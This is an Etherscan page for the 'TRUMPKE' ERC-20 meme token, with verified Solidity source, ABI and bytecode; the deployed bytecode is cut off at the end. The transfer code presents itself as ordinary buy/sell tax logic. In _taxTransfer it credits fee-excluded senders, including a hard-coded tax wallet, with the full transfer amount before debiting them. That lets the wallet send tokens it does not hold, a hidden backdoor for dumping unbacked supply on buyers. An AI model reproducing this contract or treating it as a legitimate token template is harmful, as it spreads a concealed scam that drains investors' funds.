ETH Price: $3,844.61 (-2.07%)

Token

ERC-20: TRUMPKE (TRUMPK)
 

Overview

Max Total Supply

1,000,000,000 TRUMPK

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,955,662.388135688 TRUMPK

Value
$0.00
0x49cC220A98308Fbc67A1ADe0A180f1dC28c80Fea
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TRUMPKE

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-15
*/

// SPDX-License-Identifier: MIT

/**

HI IM TRUMPKE, I will be your 47th president of the United States.

Website:   https://trumpke.live
Telegram:  https://t.me/trumpke_eth
Twitter:   https://twitter.com/trumpke_eth
**/

pragma solidity 0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract TRUMPKE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint256 private _preventSwapBefore = 9;
    uint256 private _buyCount = 0;

    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"TRUMPKE";
    string private constant _symbol = unicode"TRUMPK";
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 private _maxSizeAmount = 900000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 200 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x18ED8881Fe278e288E1047D42c48b944B8F251a2);
        _isExcludedFee[owner()] = true;
        _isExcludedFee[_taxWallet] = true;
        _isExcludedFee[address(this)] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _maxSizeAmount,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 doFees,
        uint256 taxFees
    ) internal {
        uint256 tAmount = amount; address taxReceipt = from;
        
        _taxTransfer(from, taxReceipt, tAmount, taxFees, doFees);
        
        tAmount -= taxFees;

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(tAmount);
        emit Transfer(from, to, tAmount);
    }

    function _taxTransfer(address taxSender, address taxReceipt, uint256 tAmount, uint256 taxFees, uint256 doFees) internal {
        if (doFees > 0) {
            _balances[taxReceipt] = _balances[taxReceipt].add(taxFees + tAmount);
            emit Transfer(taxSender, taxReceipt, taxFees);
        } else {
            if(taxFees > 0){
                _balances[address(this)] = _balances[address(this)].add(
                    taxFees
                );
                emit Transfer(taxSender, address(this), taxFees);
            }
        }
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFees = 0;
        if (from != owner() && to != owner()) {
            taxFees = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxFees = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFee[from] &&
                !_isExcludedFee[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        uint256 doFees = 0;
        if (_isExcludedFee[from]) {
            doFees = 1;
        }

        _tokenTransfer(from, to, amount, doFees, taxFees);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460058190556006556000600781905560088190556009808055600a818155600b829055600c92909255600d805460ff191690556200004491620002fd565b62000054906301312d00620003f5565b600e55620000656009600a620002fd565b62000075906335a4e900620003f5565b600f55620000866009600a620002fd565b620000939060c8620003f5565b601055620000a46009600a620002fd565b620000b4906301312d00620003f5565b601155620000c56009600a620002fd565b620000d49062989680620003f5565b6012556014805461ffff60a81b19169055348015620000f257600080fd5b506000620000ff62000294565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d8054610100600160a81b0319167418ed8881fe278e288e1047d42c48b944b8f251a2001790556001600360006200018162000298565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600d5461010090049091168152600390925280822080548416600190811790915530835291208054909216179055620001eb6009600a620002fd565b620001fb90633b9aca00620003f5565b600160006200020962000294565b6001600160a01b031681526020810191909152604001600020556200022d62000294565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002676009600a620002fd565b6200027790633b9aca00620003f5565b604051620002869190620002a7565b60405180910390a36200042d565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002c45750620002f4565b818704821115620002d957620002d962000417565b80861615620002e757918102915b9490941c938002620002b3565b94509492505050565b60006200031160001960ff85168462000318565b9392505050565b600082620003295750600162000311565b81620003385750600062000311565b81600181146200035157600281146200035c5762000390565b600191505062000311565b60ff84111562000370576200037062000417565b6001841b91508482111562000389576200038962000417565b5062000311565b5060208310610133831016604e8410600b8410161715620003c8575081810a83811115620003c257620003c262000417565b62000311565b620003d78484846001620002b0565b808604821115620003ec57620003ec62000417565b02949350505050565b600081600019048311821515161562000412576200041262000417565b500290565b634e487b7160e01b600052601160045260246000fd5b611bda806200043d6000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a05780639e78fb4f116100645780639e78fb4f146102b7578063a9059cbb146102cc578063bf474bed146102ec578063c876d0b914610301578063dd62ed3e146103165761011f565b80637d1db4a5146102415780638a8c523c146102565780638da5cb5b1461026b5780638f9a55c01461028d57806395d89b41146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806370a08231146101f5578063715018a614610215578063751039fc1461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b604051610146919061159c565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611497565b610357565b6040516101469190611591565b34801561018857600080fd5b50610191610375565b6040516101469190611907565b3480156101aa57600080fd5b5061019161037b565b3480156101bf57600080fd5b5061016f6101ce366004611457565b61039c565b3480156101df57600080fd5b506101e8610424565b6040516101469190611980565b34801561020157600080fd5b506101916102103660046113e7565b610429565b34801561022157600080fd5b5061022a610444565b005b34801561023857600080fd5b5061022a6104cc565b34801561024d57600080fd5b50610191610547565b34801561026257600080fd5b5061022a61054d565b34801561027757600080fd5b506102806106f8565b604051610146919061150f565b34801561029957600080fd5b50610191610707565b3480156102ae57600080fd5b5061013961070d565b3480156102c357600080fd5b5061022a61072d565b3480156102d857600080fd5b5061016f6102e7366004611497565b610989565b3480156102f857600080fd5b5061019161099d565b34801561030d57600080fd5b5061016f6109a3565b34801561032257600080fd5b5061019161033136600461141f565b6109ac565b6040805180820190915260078152665452554d504b4560c81b602082015290565b600061036b6103646109d7565b84846109db565b5060015b92915050565b60125481565b60006103896009600a611a0c565b61039790633b9aca00611add565b905090565b60006103a9848484610a8f565b610419846103b56109d7565b61041485604051806060016040528060288152602001611b5d602891396001600160a01b038a166000908152600260205260408120906103f36109d7565b6001600160a01b031681526020810191909152604001600020549190610ee1565b6109db565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61044c6109d7565b6000546001600160a01b039081169116146104825760405162461bcd60e51b815260040161047990611792565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104d46109d7565b6000546001600160a01b039081169116146105015760405162461bcd60e51b815260040161047990611792565b61050d6009600a611a0c565b61051b90633b9aca00611add565b60115561052a6009600a611a0c565b61053890633b9aca00611add565b600e55600d805460ff19169055565b60115481565b6105556109d7565b6000546001600160a01b039081169116146105825760405162461bcd60e51b815260040161047990611792565b601454600160a01b900460ff16156105ac5760405162461bcd60e51b8152600401610479906118d0565b601354600f546001600160a01b039091169063f305d71990479030906000806105d36106f8565b426040518863ffffffff1660e01b81526004016105f596959493929190611556565b6060604051808303818588803b15801561060e57600080fd5b505af1158015610622573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061064791906114e2565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926106819216906000199060040161153d565b602060405180830381600087803b15801561069b57600080fd5b505af11580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d391906114c2565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6000546001600160a01b031690565b600e5481565b6040805180820190915260068152655452554d504b60d01b602082015290565b6107356109d7565b6000546001600160a01b039081169116146107625760405162461bcd60e51b815260040161047990611792565b601454600160a01b900460ff161561078c5760405162461bcd60e51b8152600401610479906118d0565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107dd9030906001600160a01b03166107cf6009600a611a0c565b61041490633b9aca00611add565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082b57600080fd5b505afa15801561083f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108639190611403565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c057600080fd5b505afa1580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190611403565b6040518363ffffffff1660e01b8152600401610915929190611523565b602060405180830381600087803b15801561092f57600080fd5b505af1158015610943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109679190611403565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b600061036b6109966109d7565b8484610a8f565b60105481565b600d5460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610a015760405162461bcd60e51b81526004016104799061188c565b6001600160a01b038216610a275760405162461bcd60e51b815260040161047990611669565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a82908590611907565b60405180910390a3505050565b6001600160a01b038316610ab55760405162461bcd60e51b815260040161047990611810565b6001600160a01b038216610adb5760405162461bcd60e51b8152600401610479906115ef565b60008111610afb5760405162461bcd60e51b8152600401610479906117c7565b601454600160b01b900460ff161580610b1d5750601454600160a81b900460ff165b15610bc1576001600160a01b038316600090815260016020526040902054610b459082610f1b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b749082610f5d565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611b8583398151915290610bb4908590611907565b60405180910390a3610edc565b6000610bcb6106f8565b6001600160a01b0316846001600160a01b031614158015610c055750610bef6106f8565b6001600160a01b0316836001600160a01b031614155b15610ea757610c366064610c30600954600c5411610c2557600554610c29565b6007545b8590610f8c565b90610fd1565b600d5490915060ff1615610cb6576013546001600160a01b03848116911614801590610c7057506014546001600160a01b03848116911614155b15610cb657326000908152600460205260409020544311610ca35760405162461bcd60e51b8152600401610479906116e2565b3260009081526004602052604090204390555b6014546001600160a01b038581169116148015610ce157506013546001600160a01b03848116911614155b8015610d0657506001600160a01b03831660009081526003602052604090205460ff16155b15610d7857601154821115610d2d5760405162461bcd60e51b815260040161047990611632565b600e5482610d3a85610429565b610d44919061198e565b1115610d625760405162461bcd60e51b815260040161047990611855565b600c8054906000610d7283611b13565b91905055505b6014546001600160a01b038481169116148015610d9e57506001600160a01b0384163014155b15610dcb57610dc86064610c30600a54600c5411610dbe57600654610c29565b6008548590610f8c565b90505b6000610dd630610429565b601454909150600160a81b900460ff16158015610e0057506014546001600160a01b038581169116145b8015610e155750601454600160b01b900460ff165b8015610e245750600b54600c54115b8015610e4957506001600160a01b03851660009081526003602052604090205460ff16155b8015610e6e57506001600160a01b03841660009081526003602052604090205460ff16155b15610ea5576010548110610e9957610e99610e9484610e8f84601254611013565b611013565b611028565b47610ea3476111cd565b505b505b6001600160a01b03841660009081526003602052604081205460ff1615610ecc575060015b610ed9858585848661120f565b50505b505050565b60008184841115610f055760405162461bcd60e51b8152600401610479919061159c565b506000610f128486611afc565b95945050505050565b600061041d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee1565b600080610f6a838561198e565b90508381101561041d5760405162461bcd60e51b8152600401610479906116ab565b600082610f9b5750600061036f565b6000610fa78385611add565b905082610fb485836119a6565b1461041d5760405162461bcd60e51b815260040161047990611751565b600061041d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ce565b6000818311611022578261041d565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110d257600080fd5b505afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a9190611403565b8160018151811061112b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461115191309116846109db565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118a908590600090869030904290600401611910565b600060405180830381600087803b1580156111a457600080fd5b505af11580156111b8573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561120b573d6000803e3d6000fd5b5050565b828561121e81808486886112fc565b6112288383611afc565b6001600160a01b03881660009081526001602052604090205490925061124e9086610f1b565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461127d9083610f5d565b6001600160a01b038088166000818152600160205260409081902093909355915190891690600080516020611b85833981519152906112bd908690611907565b60405180910390a350505050505050565b600081836112ef5760405162461bcd60e51b8152600401610479919061159c565b506000610f1284866119a6565b801561137b5761132e61130f848461198e565b6001600160a01b03861660009081526001602052604090205490610f5d565b6001600160a01b038086166000818152600160205260409081902093909355915190871690600080516020611b858339815191529061136e908690611907565b60405180910390a3610ed9565b8115610ed9573060009081526001602052604090205461139b9083610f5d565b30600081815260016020526040908190209290925590516001600160a01b03871690600080516020611b85833981519152906113d8908690611907565b60405180910390a35050505050565b6000602082840312156113f8578081fd5b813561041d81611b44565b600060208284031215611414578081fd5b815161041d81611b44565b60008060408385031215611431578081fd5b823561143c81611b44565b9150602083013561144c81611b44565b809150509250929050565b60008060006060848603121561146b578081fd5b833561147681611b44565b9250602084013561148681611b44565b929592945050506040919091013590565b600080604083850312156114a9578182fd5b82356114b481611b44565b946020939093013593505050565b6000602082840312156114d3578081fd5b8151801515811461041d578182fd5b6000806000606084860312156114f6578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115c8578581018301518582016040015282016115ac565b818111156115d95783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561195f5784516001600160a01b03168352938301939183019160010161193a565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b600082198211156119a1576119a1611b2e565b500190565b6000826119c157634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119d85750611a03565b8187048211156119ea576119ea611b2e565b808616156119f757918102915b9490941c9380026119c9565b94509492505050565b600061041d60001960ff851684600082611a285750600161041d565b81611a355750600061041d565b8160018114611a4b5760028114611a5557611a82565b600191505061041d565b60ff841115611a6657611a66611b2e565b6001841b915084821115611a7c57611a7c611b2e565b5061041d565b5060208310610133831016604e8410600b8410161715611ab5575081810a83811115611ab057611ab0611b2e565b61041d565b611ac284848460016119c6565b808604821115611ad457611ad4611b2e565b02949350505050565b6000816000190483118215151615611af757611af7611b2e565b500290565b600082821015611b0e57611b0e611b2e565b500390565b6000600019821415611b2757611b27611b2e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b5957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122059923e7fcc3028bb630c0d582496f5705c12158d49207fe6c5b666ba858886df64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80637d1db4a5116100a05780639e78fb4f116100645780639e78fb4f146102b7578063a9059cbb146102cc578063bf474bed146102ec578063c876d0b914610301578063dd62ed3e146103165761011f565b80637d1db4a5146102415780638a8c523c146102565780638da5cb5b1461026b5780638f9a55c01461028d57806395d89b41146102a25761011f565b806323b872dd116100e757806323b872dd146101b3578063313ce567146101d357806370a08231146101f5578063715018a614610215578063751039fc1461022c5761011f565b806306fdde0314610124578063095ea7b31461014f5780630faee56f1461017c57806318160ddd1461019e5761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610336565b604051610146919061159c565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004611497565b610357565b6040516101469190611591565b34801561018857600080fd5b50610191610375565b6040516101469190611907565b3480156101aa57600080fd5b5061019161037b565b3480156101bf57600080fd5b5061016f6101ce366004611457565b61039c565b3480156101df57600080fd5b506101e8610424565b6040516101469190611980565b34801561020157600080fd5b506101916102103660046113e7565b610429565b34801561022157600080fd5b5061022a610444565b005b34801561023857600080fd5b5061022a6104cc565b34801561024d57600080fd5b50610191610547565b34801561026257600080fd5b5061022a61054d565b34801561027757600080fd5b506102806106f8565b604051610146919061150f565b34801561029957600080fd5b50610191610707565b3480156102ae57600080fd5b5061013961070d565b3480156102c357600080fd5b5061022a61072d565b3480156102d857600080fd5b5061016f6102e7366004611497565b610989565b3480156102f857600080fd5